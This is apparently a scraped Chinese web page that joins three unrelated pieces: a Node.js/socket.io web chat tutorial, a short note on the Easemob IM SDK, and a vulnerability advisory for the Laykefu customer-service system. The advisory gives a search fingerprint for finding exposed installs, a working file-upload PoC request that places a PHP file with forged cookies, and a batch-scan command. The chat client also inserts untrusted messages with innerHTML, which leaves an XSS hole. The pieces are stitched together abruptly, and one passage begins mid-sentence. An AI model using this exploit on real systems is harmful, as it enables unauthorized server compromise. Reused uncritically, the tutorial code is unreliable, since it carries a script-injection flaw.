整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

如何使用Javascript快速实现Web IM

如何使用Javascript快速实现Web IM

202年了,QQ、微信等聊天工具已经非常成熟,一般的情况下没有必要去创建一个IM应用了。现在的开源技术,通过一些简单快速的开发即可实现一款Web IM,可以适用于多客服系统、内部沟通平台等等。


准备工作

  • 安装NodeJS
C:\Users\chen3>node -v
v10.16.3
  • 创建源代码目录
D:\code>mkdir webim
  • 初始化代码
npm init

  • 添加基础依赖
npm install --save socket.io express
npm install --save-dev @babel/core @babel/cli @babel/preset-env @babel/node
  • 在package.json内增加start脚本(为了使用ES6+特性,引入babel)
"start": "babel-node index.js"

逻辑实现

  • 编辑index.html,内容如下
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js"></script>
<h1 id="ucount"></h1>

<div id="msgs"></div>

<input type="text" id="text" />

<script>
  var socket=io.connect("/msg");
  var msgs=$("msgs");
  function $(id) {
    return document.getElementById(id);
  }
  // 收到消息时,将消息输出到页面上
  socket.on("message", function(data) {
    msgs.innerHTML +=data + "<br />";
  });
  // 在线人数变化时更新界面
  socket.on("online", function(u) {
    $("ucount").innerHTML="当前" + u.ucount + "人在线";
  });

  $("text").addEventListener("keyup", function(e) {
    // 输入回车时,发送给服务器
    if (e.keyCode===13) {
      var t=$("text").value;

      socket.emit("message", t, function() {
        msgs.innerHTML +=t + "<br />";
      });
      $("text").value="";
    }
  });
</script>
  • 编辑index.js,内容如下
import http from "http";
import path from "path";
import express from "express";
import socketIO from "socket.io";

const app=express();

const server=http.Server(app);

app.set("views", path.join(__dirname, "views"));
app.set("view engine", "jade");

app.use(express.json());

// 页面模板
app.get("/", function(_req, res) {
  res.sendFile(__dirname + "/index.html");
});

initWebIM(app, server, "/msg");

server.listen(8080);

let userCount=0;
const users={};
const noop=()=> {};

function initWebIM(app, server, endpoint) {
  const io=socketIO(server);

  io.of(endpoint).on("connection", function(socket) {
    // 连接时,记录用户
    setUser(socket.id, {
      sid: socket.id,
      socket: socket
    });

    // 广播新用户上线/用户数变化
    // 广播:发给除了当前socket之外的所有socket
    socket.broadcast.emit("online", {
      ucount: userCount
    });

    // 当前用户返回
    socket.emit("online", {
      ucount: userCount
    });

    // 服务端收到消息时,广播给大家
    socket.on("message", function(data, callback) {
      callback=callback || noop;

      socket.broadcast.emit("message", data);

      // 回调,发送者更新界面
      callback();
    });

    // 下线群发通知
    socket.on("disconnect", function() {
      unsetUser(socket.id);
      socket.broadcast.emit("online", {
        ucount: userCount
      });
    });
  });
}

function setUser(socketId, info) {
  var isNew=false;
  if (!users[socketId]) {
    users[socketId]={};
    userCount++;
    isNew=true;
  }
  Object.assign(users[socketId], info);
  return isNew;
}

function unsetUser(socketId) {
  if (users[socketId]) {
    delete users[socketId];
    userCount--;
  }
}

效果预览

至此,就实现了一个最简单的一个多人在线web对话的程序。

改进点

很明显,作为一个聊天工具,还缺少很多的功能或者模块,距离完整的系统相当遥远,比如

  • 自定义表情
  • 发送图片、视频、文章链接等
  • 安全过滤
  • 群组功能
  • 桌面、手机客户端的支持
  • ...

如果大家有兴趣,可以留言,我会在后续内容中考虑。

里实现 网页--网页 的及时聊天以及 网页--手机端 的及时聊天。

先上效果图。



首先这里使用的是环信的sdk,当然手机端(android和ios)同样也是使用的环信的sdk。聊天数据没有存储在自己的服务器。只在手机端做了缓存。只有头像是获取自己服务器的数据,别的都是环信处理。头像为用户id作为路径。如(http://api.XXXX.com/uploads/person/911117.jpg),昵称在用户注册时候传递给环信保存。


首先下载环信sdk 地址 http://www.easemob.com/download/im 。将下载好了的文件移动到项目Public下。


这里我们需要修改的是demo文件下的javascript/dist/demo-1.4.10.js文件,具体修改的内容就是用户以及好友等的头像和昵称。改的地方比较多,大多是形如下图这样的

然后就是在模型中将用户信息传递给前台js去处理,别的就不用管了。给个参考


前台页面的js部分


好了就是这么简单,在网页端demo中实现了文字图片语音,文件的发送接收,以及视频的接收。

产品介绍】

Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系统,旨在帮助企业有效管理和提供优质的客户服务

【漏洞介绍】

Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞

【资产测绘Query】

fofa语法:icon_hash="-334624619"

【产品界面】

【漏洞复现】

【poc】

POST /admin/users/upavatar.html HTTP/2
Host: 
Cookie: user_name=1; user_id=3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Length: 198

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php echo 13579; ?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

【批量扫描】

.\nuclei -l 1.txt -t 1.yaml

【修复建议】

1、请联系厂商进行修复。
2、如非必要,禁止公网访问该系统。
3、设置白名单访问。